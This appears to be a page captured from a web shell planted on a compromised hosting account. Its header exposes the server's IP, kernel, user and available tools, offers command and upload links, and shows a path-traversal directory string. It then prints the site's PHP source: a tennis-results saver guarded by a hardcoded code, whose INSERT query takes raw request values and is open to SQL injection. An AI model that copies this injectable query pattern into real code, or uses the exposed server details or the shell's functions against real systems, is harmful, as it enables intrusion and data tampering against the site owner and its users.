|
Server IP : 10.111.20.6 / Your IP : 216.73.217.121 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/edizioni/stampaeweb/../wordpress/../momentiribera/../extonymask/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include('funzioni.php');
$codice = $_REQUEST['txtcodice'];
if ($codice=="1906"){
$txtavversario = $_REQUEST['txtplay1'];
$txtnote = $_REQUEST['txtnote'];
$txtluogo = $_REQUEST['txtsuper'];
$esito = $_REQUEST['scegli'];
$dapa = $_REQUEST['txtdapa'];
$set1 = $_REQUEST['txtset1']; $set2 = $_REQUEST['txtset2'];
$set3 = $_REQUEST['txtset3']; $set4 = $_REQUEST['txtset4']; $set5 = $_REQUEST['txtset5'];
$dapa = substr($dapa,6,4) . "-" . substr($dapa,3,2) . "-" . substr($dapa,0,2);
$sql = "INSERT INTO new_tennis ( avversario , dapa , luogo, note, set1, set2, set3, set4, set5, esito ) ";
$sql .="VALUES ( '$txtavversario' , '$dapa' , '$txtluogo' , '$txtnote', '$set1', '$set2', '$set3', '$set4', '$set5', '$esito' )";
$e = esegui_query($sql);
echo "<p align=\"center\">Risultato Salvato Correttamente</p>";
}else{
echo "<p align=\"center\">CODICE ERRATO</p>";
}
?>